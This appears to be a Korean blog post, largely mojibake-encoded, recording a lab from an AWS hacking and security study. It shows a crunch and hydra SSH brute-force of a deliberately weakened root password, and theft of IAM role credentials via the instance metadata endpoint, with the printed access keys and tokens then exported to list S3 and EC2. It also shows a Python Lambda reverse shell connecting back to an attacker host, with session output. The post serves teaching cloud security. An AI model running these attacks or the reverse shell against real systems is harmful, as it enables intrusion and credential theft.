π¨ ν΄λΉ ν¬μ€νΈλ CloudNet@μ μμ’ νΈ (Gasida) λκ»μ μ§ννμλ AHSS (AWS Hacking & Security Study) 1κΈ°μ κ°μ λ΄μ©μ λ°νμΌλ‘ μμ±λμμ΅λλ€. |
μ λ² μ£Όμ μ΄μ΄ μ΄λ²μ£Όμλ IAMμ μν΄ λ°μν μ μλ μ·¨μ½μ μ λν΄ μ΄ν΄λ³΄κ³ , μ΄λ₯Ό μ΄λ»κ² 보μν μ μλμ§μ λν΄ μ΄ν΄λ΄ μλ€. IAM (Identity and Access Management)λ AWSμμ μ 곡νλ μΉ μλΉμ€λ‘μ, AWS 리μμ€μ λν μ κ·Ό μ μ΄μ κΆν κ΄λ¦¬λ₯Ό ν΅ν΄ AWS 리μμ€μ λν 보μ μμ€μ κ°ννλ μν μ ν©λλ€.
μ°μ 2μ£Όμ°¨ μ€μ΅μ μν νκ²½μ μΈν ν΄λ³΄κ² μ΅λλ€. AWS Cloudshellμμ μλμ λͺ λ Ήμ΄λ₯Ό μ λ ₯νμ λ λκ³ , νλ¨μ 첨λΆνμΌμ λ€μ΄λ°μ μ μ©νμ λ λ©λλ€.
# λ³μ μ§μ
KEYNAME=<κ°μ μμ μ SSH Keypair Name>
# YAML νμΌ λ€μ΄λ‘λ
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/security/ahss-ec2_2ea.yaml
# CloudFormation μ€ν λ°°ν¬
aws cloudformation deploy --template-file ahss-ec2_2ea.yaml --stack-name iamlab --parameter-overrides KeyName=$KEYNAME --region ap-northeast-2 --capabilities CAPABILITY_NAMED_IAM
# CloudFormation μ€ν λ°°ν¬ μλ£ ν EC2 2λ IP μΆλ ₯
aws cloudformation describe-stacks --stack-name iamlab --query 'Stacks[*].Outputs[*].OutputValue' --output text
# κ°κ° EC2 SSH μ μ : μλ ν€νμΌ κ²½λ‘λ μμ μ νκ²½μ λ§κ² λ³κ²½νμ!
ssh -i ~/.ssh/kp-gasida.pem ec2-user@<μ μΆλ ₯ IP>
2μ£Όμ°¨ μ€μ΅μ μν ν νλ¦Ώ νμΌμ μλμμ λ€μ΄λ°μ μ μμ΅λλ€.
μμ ν νλ¦Ώμ μ μμ μΌλ‘ μ μ©νλ©΄ μλμ κ°μ΄ λ κ°μ EC2 μΈμ€ν΄μ€κ° μμ±λ κ²μ νμΈν μ μμ΅λλ€. λμ보λ μμ νμλλ νΌλΈλ¦ ipv4 μ£Όμλ₯Ό μ΄μ©νμ¬ μΈμ€ν΄μ€μ μ κ·Όν΄λ΄ μλ€.
μ°Έκ³ λ‘ κ° μΈμ€ν΄μ€μ νΌλΈλ¦ ipv4 μ£Όμλ λͺ λ Ήμ΄λ₯Ό μ λ ₯ν κ²°κ³Ό, μ½μμμλ μΆλ ₯λ©λλ€. λ μ€μ νΈν λ°©λ²μ μ ννλ©΄ λ©λλ€.
μ΄μ λͺ¨λ μΈν μ΄ λλ¬μ΅λλ€. μ€λΉλ νκ²½μμ Password Brutefoce Attackκ³Ό Lambdaλ₯Ό μ΄μ©ν Reverse Shell μ€μ΅μ μ§νν΄λ³΄λλ‘ νκ² μ΅λλ€.
1. Passphrase Bruteforce Attck (Dictionary Based)
SSHλ₯Ό ν΅ν΄ μ μμ μΌλ‘ μ κ·Όνμλ€λ©΄ Webserverμ ν¨μ€μλλ₯Ό μλμ μΌλ‘ μ·¨μ½ν λ¬Έκ΅¬λ‘ λ³κ²½ν λ€μ, Attacker μΈμ€ν΄μ€μμ ν΄λΉ μλ²μ μ κ·Όμ μλν΄λ³΄λλ‘ νκ² μ΅λλ€. μ°μ Webserverμ λ‘κ·ΈμΈνκΈ° μν ν¨μ€μλλ₯Ό λ©΄κ²½νλ κ²μμλΆν° μμν΄λ³΄λλ‘ ν©μλ€.
[@ Webserver]
# κ΄λ¦¬μ νμΈ
$ whoami
# SSH μ μ λ‘κ·Έ μΆλ ₯
$ more /var/log/secure
$ grep Invalid /var/log/secure
# root κ³μ μ μνΈ μ€μ - μ·¨μ½ν μνΈμ΄λ©° μ€μ΅ ν λ°λ‘ ν΄λΉ EC2λ₯Ό μμ ν κ²
$ passwd
New password: 1212
Retype new password: 1212
# μ€μκ° λ‘κ·Έ μΆλ ₯
$ tail -f /var/log/secure
μ¬μ λμ 곡격 λ°©μμ μ΄μ©ν΄λ³΄λλ‘ νκ² μ΅λλ€. μ¬μ λμ 곡격μ΄λ, λ§ κ·Έλλ‘ μ¬μ (dictionary)μ μ‘΄μ¬νλ μ΄νλ€μ 무μμμ μΌλ‘ λμ ν΄λ³΄λ 곡격 λ°©μμ λ§νλλ°, μνΈλ‘ μμ£Ό μ¬μ©λ λ§ν λ¨μ΄λ κΈμ μ‘°ν©μ 리μ€νΈ μ νκ³ μ΄λ₯Ό νλμ© μ°¨λ‘λλ‘ λμ ν΄λ³΄λ 곡격 λ°©μμ λ§ν©λλ€. κΈ°μ‘΄μ λΈλ£¨νΈν¬μ±λ³΄λ€λ μ‘°κΈ λ μ§λ³΄ν λ°©μμ΄λΌκ³ ν μ μμΌλ©°, μ¬μ μ μμ±νκΈ° μν λνμ μΈ λꡬλ‘λ κ°λ³κ² μ¬μ©ν μ μλ crunch toolμ΄ μμ΅λλ€. crunchλ Kali Linuxμλ κΈ°λ³Έμ μΌλ‘ μ νμ¬λμ΄μμ λ§νΌ μ λͺ ν λꡬμ΄λ μ μμλλλ‘ ν©μλ€. μ΄μ μ΄ λꡬλ₯Ό μ¬μ©νμ¬ Webserverμ μ·¨μ½ν μνΈλ₯Ό λΈλ£¨νΈν¬μ±ν΄λ³΄λλ‘ νκ² μ΅λλ€.
[@ Attacker]
# crunch tool λ‘ μ¬μ νμΌ μμ± - μ°Έκ³ λ§ν¬ μ°Έκ³ μμ
$ cd /root/crunch-3.6
$ ./crunch 4 4 12qw -o 4chars.txt
# μ¬μ νμΌ νμΈ, 256κ°μ μνΈ μμ±
$ more 4chars.txt
$ more 4chars.txt |wc -l
256
# Hydra tool λ‘ SSH Brute force attack μλ
$ hydra -h
$ hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10
...
[22][ssh] host: 10.0.0.10 login: root password: 1212
...
# 리λͺ¨νΈ λͺ
λ Ή μ€ν
$ sshpass -p '1212' ssh -o StrictHostKeyChecking=no root@10.0.0.10 hostname
$ sshpass -p '1212' ssh -o StrictHostKeyChecking=no root@10.0.0.10 ip -c addr
crunchλ‘ μ¬μ μ μμ±νκ³ , μμ±λ μ¬μ μ ν λλ‘ hydraλ₯Ό μ΄μ©ν΄ λΈλ£¨νΈν¬μ±μ μλν΄λ³΄μμ΅λλ€.
μ¬μ μ μνΈκ° μ μμ μΌλ‘ μ‘΄μ¬νλ€λ©΄ μλμ κ°μ΄ μ μμ μ±κ³΅ν ν¨μ€μλλ₯Ό μ½μμ μΆλ ₯ν΄μ£Όκ³ νλ‘κ·Έλ¨μ΄ μ’ λ£λ©λλ€.
.
.
.
[ATTEMPT] target 43.200.255.226 - login "root" - pass "121q" - 19 of 256 [child 8]
[ATTEMPT] target 43.200.255.226 - login "root" - pass "121w" - 20 of 256 [child 9]
[22][ssh] host: 43.200.255.226 login: root password: 1212
[STATUS] attack finished for 43.200.255.226 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2023-09-10 16:19:16
[root@Attacker crunch-3.6]#
λ°©κΈ μμ±ν crunch νμΌλ§ μ΄μ΄λ³΄λ©΄ '1', '2', 'q', 'w' 4κ°μ λ¬Έμλ§ μ¬μ©νμ¬ μ¬μ μ μμ±νκ³ μμ§λ§, crunchμ μ λ¬νλ μ΅μ κ³Ό νλΌλ―Έν°λ₯Ό μ μ ν μ‘°μ νλ©΄ ν¨μ¬ λ€μν μ νμ μμλ₯Ό μμ±νλλ‘ ν μ μμ΅λλ€.
λν, crunchλ₯Ό μ¬μ©ν΄μ μ¬μ μ μμ±νλ κ² μ΄μΈμλ, μΈν°λ·μ 곡κ°λμ΄ μλ μμ£Ό μ¬μ©λλ μνΈ ν΅κ³ λ±μ μλ£λ₯Ό νμ©νμ¬ λ§λ€μ΄μ§ μλ£λ€μ λ€μ΄λ±μ hydraμ μ μ©νλ κ²λ λ§€μ° ν¨κ³Όμ μΈ κ³΅κ²© λ°©λ²μ΄ λ μ μμ΅λλ€. μλλ rockyou.txtμ cupp toolμ νμ©νλ μμμ λλ€.
# μ¬μ νμΌ νλ
## (μ΅μ
) ꡬκΈλ§ - μ΅μ (μμ£Ό μ°λ) μνΈ Top 10/100 리μ€νΈ, Kali Linux λ±λ±
## (μ΅μ
) Rockyou λμ©λ μ¬μ νμΌ - μΌμ²μ¬λ°±λ§κ° μνΈ λ¦¬μ€νΈ > νμν λΆλΆλ§ λ³λμ νμΌλ‘ λ§λ€μ΄μ μ¬μ©
$ cd
$ more /root/rockyou.txt
$ less /root/rockyou.txt
$ wc -l /root/rockyou.txt
14344394
$ grep password /root/rockyou.txt
$ grep cisco /root/rockyou.txt
$ grep -F '***' /root/rockyou.txt
## (μ΅μ
) Cupp tool κ°μΈ μ 보 κΈ°λ° μνΈ λ¦¬μ€νΈ μμ± - μ°Έκ³ λ§ν¬
$ python3 /root/cupp.py -i → λ€ μ§λ¬Έμ μ λΆ N νμ
μμ±λ νμΌ νμΈ
$ more ~
μλμ λͺ λ Ήμ΄λ€μ μ°¨λ‘λλ‘ μ λ ₯νμ¬ μΆλ ₯λλ λ΄μ©μ νμΈν΄λ΄ μλ€. μ½μμ μΆλ ₯λλ μ 보λ€μ ν λλ‘ EC2 μΈμ€ν΄μ€μμ μ μΆν μ μλ μ 보λ€μ΄ λ΄κ²¨μμμ νμΈν΄λ³΄λ λ°μ μ΄μ μ λ§μΆ°μΌ ν©λλ€.
# μλ μ 보λ₯Ό ν΅ν΄ aws ec2 μμ νμΈ
whoami
pwd
ls -al
cat /etc/passwd
uname -a
hostnamectl
# IMDS μ 보 νμΈ : IAM Role μΆλ ₯κ° λ©λͺ¨ >> Tokenμ 무μμΈκ°? μ ν¨κΈ°κ°μ μΌλ§μΈκ°?
ip route
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
"Code" : "Success",
"LastUpdated" : "2023-09-03T11:01:45Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5ILF2FJIR4BKWOCU",
"SecretAccessKey" : "nDhBh3vaq7Q7VEvMO6YI3/yXTeJLDAZUoVipuH8n",
"Token" : "IQoJb+am3+1qOkHufGzPZeKO6o3JQ1lj1i3k5P/4htsUr9ARd9d4MIQ0nCN0Bc5r ... DTRKwVuWHW755aMwDGjpiQwpnw2Q=",
"Expiration" : "2023-09-03T17:11:11Z"
}
IMDSμ λν μ 보λ μλ λΈλ‘κ·Έμ μ μ 리λμ΄ μμΌλ μλ ν¬μ€νΈλ₯Ό μ°Έκ³ νμ.
https://malwareanalysis.tistory.com/578
pkos μ€ν°λ 5μ£Όμ°¨ 1νΈ - AWS EC2 μΈμ€ν΄μ€ λ©νλ°μ΄ν°
5μ£Ό μ°¨μμλ 첫 λ²μ§Έ μ£Όμ λ AWS EC2 μΈμ€ν΄μ€ λ©νλ°μ΄ν°μ λλ€. EC2 μΈμ€ν΄μ€ λ©νλ°μ΄ν° κ°λ μΈμ€ν΄μ€ λ©νλ°μ΄ν°λ 곡μλ¬Έμμμ μκ°ν κ²μ²λΌ μ€νμ€μΈ EC2μΈμ€ν΄μ€ λ©νλ°μ΄ν°μ λλ€. μ
malwareanalysis.tistory.com
μμ κ³Όμ μ ν΅ν΄ νΌν΄μμ μ격 μ¦λͺ μ 보λ₯Ό νμ·¨νμμΌλ, λ€μμΌλ‘λ μ΄λ₯Ό μ΄μ©ν΄μ s3, ec2 μΈμ€ν΄μ€μ μ κ·Όν΄λ³΄μ.
μ격 μ¦λͺ νλμ λ€μ΄κ°λ κ°κ°μ κ°μ μμ μ€μ΅ μ§ν κ²°κ³Ό μ»μ΄λΈ κ°μμ victim μΈμ€ν΄μ€ μ 보λ₯Ό μ λ ₯νμ¬μΌ νλ€.
# μ격 μ¦λͺ
μμ΄ μ¬μ©
aws s3 ls
# μμμ μΆλ ₯λ AccessKeyId , SecretAccessKey , SessionToken μΌλ‘ μμμ격μ¦λͺ
μ μ©
export AWS_ACCESS_KEY_ID="ASIA5ILF2FJIV56CCEH2"
export AWS_SECRET_ACCESS_KEY="NpvNZl5HKOTQLepywvi/XSkKRX07o5Nes8zCSfNL"
export AWS_SESSION_TOKEN="pUt323HsR2u9CwOHRz/oZh7Go9ipQwr1WgP ... w4t4w+CeIUBTFXvFTd4L3BYae8apePO8="
# s3 μ 보 νμΈ
aws s3 ls
# ec2 μ 보 νμΈ
aws ec2 describe-instances --region ap-northeast-2 | head
# caller id νμΈ : UserIdμ Arn 맨 λ€ μ 보λ μ΄λ€ μΈμ€ν΄μ€IDμΈκ°?
aws sts get-caller-identity | jq
{
"UserId": "AROA5ILF2FJI34M6UJYV2:i-04e04ce01f4653321",
"Account": "911283464785",
"Arn": "arn:aws:sts::911283464785:assumed-role/IAMLabInstanceRole/i-04e04ce01f4653321"
}
Arn νλμ κ°μμ κ°μ₯ λ§μ§λ§μ λνλμλ κ° (μμ μ½λλΈλ κΈ°μ€μΌλ‘λ 'i-04e04ce01f4653321')μ΄ νκ² μΈμ€ν΄μ€μ μΈμ€ν΄μ€IDμ΄λ€. ν΄λΉ μΈμ€ν΄μ€μμ μΌμ΄λ μ΄λ²€νΈ λ‘κ·Έλ₯Ό νμ νκΈ° μν΄μλ AWS μ½μμ Cloudtrail κΈ°λ₯μ μ¬μ©νλ©΄ λ©λλ€.
νμ¬λ μλ¬΄λ° μ΄λ²€νΈκ° λ°μνμ§ μμκΈ° λλ¬Έμ μλ¬΄λ° μ΄λ²€νΈλ μ‘°νλμ§ μμ§λ§, λ°μν μ΄λ²€νΈκ° μ‘΄μ¬νλ€λ©΄, ν΄λΉ μΈμ€ν΄μ€ μμ΄λλ₯Ό κΈ°μ€μΌλ‘ sortingν κ²°κ³Όκ° μλμ κ°μ΄ νμΆλλ€. λν νμ΄λΌμ΄νΈ λμ΄μλ κ°λ³ μ΄λ²€νΈ μ΄λ¦μ ν΄λ¦νλ©΄ μμΈν μ 보λ₯Ό νμΈν μ μλ€.
λ€μμΌλ‘λ AWS Lambda κΈ°λ₯μ μ΄μ©νμ¬ Webserver μΈμ€ν΄μ€μ 리λ²μ€ μμ μ΄μ΄λ³΄λλ‘ νκ² μ΅λλ€. root κΆνμΌλ‘ 리λ²μ€μμ νλν μ μκ² λλ€λ©΄ κ³§ ν΄λΉ μλ²μ λν΄ root κΆνμΌλ‘ μμ λ€λ£° μ μλ€λ κ²μ μλ―Ένλ―λ‘ μ§μ μ μΌλ‘ λλ¨ν ν° μνμ΄ λ μ μμ΅λλ€.
2. Opening ReverseShell via Lambda
κ°μ₯ λ¨Όμ Attacker μΈμ€ν΄μ€μμ netcat λ±μ ν΅ν΄ 80ν¬νΈλ₯Ό 리μ€λνλλ‘ μ€μ ν΄μ£ΌμΈμ.
# νΌλΈλ¦ λλ©μΈ μ£Όμ νμΈ : λ©λͺ¨ν΄λκΈ°
$ curl -s http://169.254.169.254/latest/meta-data/public-hostname ; echo
ec2-54-180-157-149.ap-northeast-2.compute.amazonaws.com
# netcat μ€ν : TCP 80 ν¬νΈλ‘ Listen(λκΈ°)
$ nc -lvnp 80
λ€μμΌλ‘λ AWS Lambda νκ²½μ ꡬμ±ν΄μ£Όλλ‘ νκ² μ΅λλ€. Lambdaλ AWSμμ μ 곡νλ ν΄λΌμ°λ κΈ°λ°μ μ½λ μ€ν μλΉμ€λ‘μ, Google Colabκ³Ό μ μ¬ν μλΉμ€λΌκ³ μκ°νμλ©΄ νΈν κ² κ°μ΅λλ€. ν΄λΌμ°λ μμμ κ°μμ λΉλ νκ²½μ ꡬμ±νκ³ μΉμ ν΅ν΄ μ½λλ₯Ό μμ±νκ±°λ λΉλνμ¬ ν μ€νΈκΉμ§ ν΄λ³Ό μ μλ μλΉμ€λ₯Ό μ 곡ν©λλ€. νμ¬ μ€μ΅μμλ μλμ μ¬μ§κ³Ό κ°μ΄ νμ΄μ¬ 3.7μ κΈ°λ°μΌλ‘ νκ²½μ ꡬμ±ν΄μ£Όλλ‘ νκ² μ΅λλ€.
λν, Lambdaμ 'ꡬμ±' νμΌλ‘ μ΄λνμ¬ μ ν μκ°μ 5λΆμΌλ‘ μ‘°μ ν΄μ£ΌμΈμ.
λͺ¨λ μ€λΉκ° λλ¬μΌλ―λ‘, μ΄μ μ½λ μΉμ μ μλμ λ΄μ©μ μμ±νκ³ μ€ννκΈ°λ§ νλ©΄ λ©λλ€. λ€λ§, ipv4 μ£Όμκ° μλλΌ μΈμ€ν΄μ€μ νΌλΈλ¦ λλ©μΈ μ£Όμλ₯Ό λ£μ΄μΌν¨μ μ μν΄μΌ ν©λλ€.
# μ½λ μμ± ν DeployκΉμ§ μ§νν΄μ£ΌμΈμ.
import socket,subprocess,os
def lambda_handler(event, context):
# TODO implement
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<κ°μ μμ μ Attack EC2μ νΌλΈλ¦ λλ©μΈ μ£Όμ>", 80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
μ½λλ₯Ό λͺ¨λ μμ±νλ€λ©΄, Deploy μΌμͺ½μ μλ 'ν μ€νΈ' λ²νΌμ λλ¬ μ΄λ²€νΈ νΈλ€λ¬λ₯Ό μ무 μ΄λ¦μΌλ‘ μμ±ν λ€μ, μ΄λ²€νΈλ₯Ό μ€νμμΌμ£Όλ©΄ μ½λκ° μ€νλκ² λ©λλ€.
μ΄μ nc λ±μ ν΅ν΄ 80ννΈλ₯Ό κ°λ°©ν΄λ¨λ μΈμ μΌλ‘ λμμ보면 리λ²μ€μμ΄ μ€νλμ΄μλ λͺ¨μ΅μ νμΈν μ μμ΅λλ€.
μλμ μ½λλΈλκ³Ό κ°μ΄ λ€μν λͺ λ Ήμ΄λ₯Ό μ€νν΄λ³΄λ©° νμΈν΄λ΄ μλ€.
#
[root@Attacker ~]# nc -lvnp 80
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 3.34.200.96.
Ncat: Connection from 3.34.200.96:32820.
bash: no job control in this shell
# μλ μ°κ²° μ±κ³΅
------------------------------
bash-4.2$ whoami
sbx_user1051
bash-4.2$ id
uid=993(sbx_user1051) gid=990 groups=990
bash-4.2$ ls -al
total 5
drwxr-xr-x 2 root root 41 Sep 3 14:04 .
drwxr-xr-x 24 root root 4096 Jun 12 18:36 ..
-rwxr-xr-x 1 root root 337 Sep 3 14:04 lambda_function.py
bash-4.2$ pwd
/var/task
bash-4.2$ tail /etc/passwd
sbx_user1168:x:876:873::/home/sbx_user1168:/sbin/nologin
sbx_user1169:x:875:872::/home/sbx_user1169:/sbin/nologin
sbx_user1170:x:874:871::/home/sbx_user1170:/sbin/nologin
sbx_user1171:x:873:870::/home/sbx_user1171:/sbin/nologin
sbx_user1172:x:872:869::/home/sbx_user1172:/sbin/nologin
sbx_user1173:x:871:868::/home/sbx_user1173:/sbin/nologin
sbx_user1174:x:870:867::/home/sbx_user1174:/sbin/nologin
sbx_user1175:x:869:866::/home/sbx_user1175:/sbin/nologin
sbx_user1176:x:868:865::/home/sbx_user1176:/sbin/nologin
dnsmasq:x:867:864:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
bash-4.2$ curl -s ipinfo.io/ip; echo
3.34.200.96
bash-4.2$ df -hT
Filesystem Type Size Used Avail Use% Mounted on
/dev/vde ext4 243G 240G 0 100% /
/dev/vdb ext4 1.5G 9.4M 1.4G 1% /dev
/dev/vdd ext4 525M 8.0K 514M 1% /tmp
/dev/root ext4 9.7G 555M 9.2G 6% /var/rapid
/dev/vdc squashfs 128K 128K 0 100% /var/task
'Studies > AWS - AHSS (AWS 보μ)' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
[1μ£Όμ°¨] S3 μ·¨μ½μ λ° λ³΄μ (0) | 2023.08.30 |
---|